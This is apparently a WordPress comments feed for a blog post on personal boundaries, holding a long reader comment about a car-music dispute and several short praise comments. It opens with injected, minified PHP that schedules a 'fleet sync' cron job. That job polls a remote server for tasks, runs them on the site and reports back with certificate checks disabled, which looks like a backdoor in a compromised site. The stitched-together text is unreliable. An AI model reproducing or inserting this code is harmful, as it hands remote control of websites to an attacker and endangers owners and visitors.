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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Comments on: Boundaries https://tobioloyede.com/boundaries/ Delving into daily life issues to foster change Fri, 24 Jul 2020 02:28:47 +0000 hourly 1 https://wordpress.org/?v=7.1 By: theOwl30 https://tobioloyede.com/boundaries/#comment-101 Fri, 24 Jul 2020 02:28:47 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-101 People say we should have boundaries, and that they are Healthy. But I wonder how firmly we will stick to our own boundaries. Will you “cave in” as soon as someone says your boundary sucks? Will you hold firm even if its against a family member?

Imagine this: Your car is in the shop. A co-worker gives you a ride home in their car after work. It takes a half-hour to get you home. During this time, in someone else’s car, they are playing a Music CD that they love, but you think its stinks. They are doing you a favor bu giving you a ride home. Do you ask them to turn it off? I think MOST people would put up with it.

Now lets go one step further. You take a weekend Day-trip. 3 hrs one way. And you will be playing YOUR favorite music because you love it and music makes the whole trip better. You are driving and it is your own car. But—-one other family member is with you. No one forced them to go on this trip with you. But after you get 3 or 4 miles from home, you turn one of your music CD’s on…..and they hate it. It goes like this:

Them: Turn that crap off. I hate it. Listen to that on YOUR OWN time.
But you are trying to set boundaries. Because this person nearly always, tries to Dominate every situation, even in “little” ways like this. Its YOUR car, but THEY are already trying to establish control—and you’ve already been sick of it, for months!
You: Excuse me? #1. Who is in charge in YOUR house, and in your yard, and IN YOUR Car? Well, now your on MY “turf” and I have the same rights as you, to be in charge, here!
Them: but, I’m a captive audience.
You: No you’re not. I’ll be more than happy to pull over and let you out. What would I do if you weren’t here? I’d still play the music. Why should I diminish my happiness just because you are here? Why can’t I be myself? Why should being with you mean I need to restrict or inhibit myself?
Them: its called “being considerate”.
You: Then YOU can “be considerate” and not try to tell me what to, or what not to do, in MY Car, where I’M in charge, just like you are in your car.
Them: Well, going without that Music for 2 hrs. won’t kill you.
You: by the same token, having it on for 2 hrs. won’t kill you either.
Them: I have a Headache.
You: How convenient. And if i shut it off, you’ll have a “headache” on all future trips, too.
Them: You suck.
You: and you, are always trying to tell the other guy what to, what not to do, or how to do it. I’m sick of it. MY Car, MY rules. Who’s in charge in your car?
Them: welllll…..iii wouldn’t do this. You’re being mean.
You: Ha! I’m not so sure. And look, I’m doing, what I would be doing, anyway, even if you weren’t here. Same behavior on my part. And besides—-NO ONE FORCED YOU to ride with me. When you are in YOUR house or in your yard or in your car, you can do things your way. But right now, you’re not, and I have the SAME RIGHTS. And now, questions:

Was the Driver within his/her “assertive rights”?
Do you admire the courage of this driver, or would you call the driver a Narcissist?
If the driver “gives in” and shows “consideration”, then the passenger has just manipulated or dominated him/her on their own property or Turf. If you cave in here, how long do feel it will be before this same passenger finds or invents 4 other situations where YOU should give-in and “show more consideration” ? ? Share this far and wide. Tell me what you think, and why. Thanks for reading this.

]]> By: Denike https://tobioloyede.com/boundaries/#comment-100 Thu, 04 Jun 2020 21:51:09 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-100 ]]> Nice write up👍🏻

]]> By: aremuspeaks https://tobioloyede.com/boundaries/#comment-99 Thu, 04 Jun 2020 16:21:25 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-99 BOUNDARIES BREED RESPECT AND ALLOWS FOR SELF-LOVE… Wow… Word!… Excellent post Tobi…

]]> By: Tolu https://tobioloyede.com/boundaries/#comment-98 Thu, 04 Jun 2020 15:00:17 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-98 Very thought-provoking. I learnt a lot.

]]> By: Nike https://tobioloyede.com/boundaries/#comment-97 Thu, 04 Jun 2020 13:34:51 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-97 Very very insightful

]]> By: Jokemoore https://tobioloyede.com/boundaries/#comment-96 Thu, 04 Jun 2020 13:30:06 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-96 Well articulated and insightful!!

]]> By: Anonymous https://tobioloyede.com/boundaries/#comment-95 Thu, 04 Jun 2020 13:29:26 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-95 Well articulated and insightful!!

]]> By: Saleh Mustapha https://tobioloyede.com/boundaries/#comment-94 Thu, 04 Jun 2020 11:14:54 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-94 What an interesting and we’ll articulated writeup,I have learnt one or two things here,while growing up saying “No “was something very difficult for me ,on this note I found this article useful.Thanks Tobi.

]]> By: fisayowrites https://tobioloyede.com/boundaries/#comment-93 Thu, 04 Jun 2020 11:14:24 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-93 ]]> Nice! Great message ❤️

]]> By: Benjamin Adekunle https://tobioloyede.com/boundaries/#comment-92 Thu, 04 Jun 2020 08:08:20 +0000 https://tobioloyedesblog.wordpress.com/?p=255#comment-92 ]]> Very insightful.
I felt every word was referring to me.
Thanks for this write-up 👍

]]>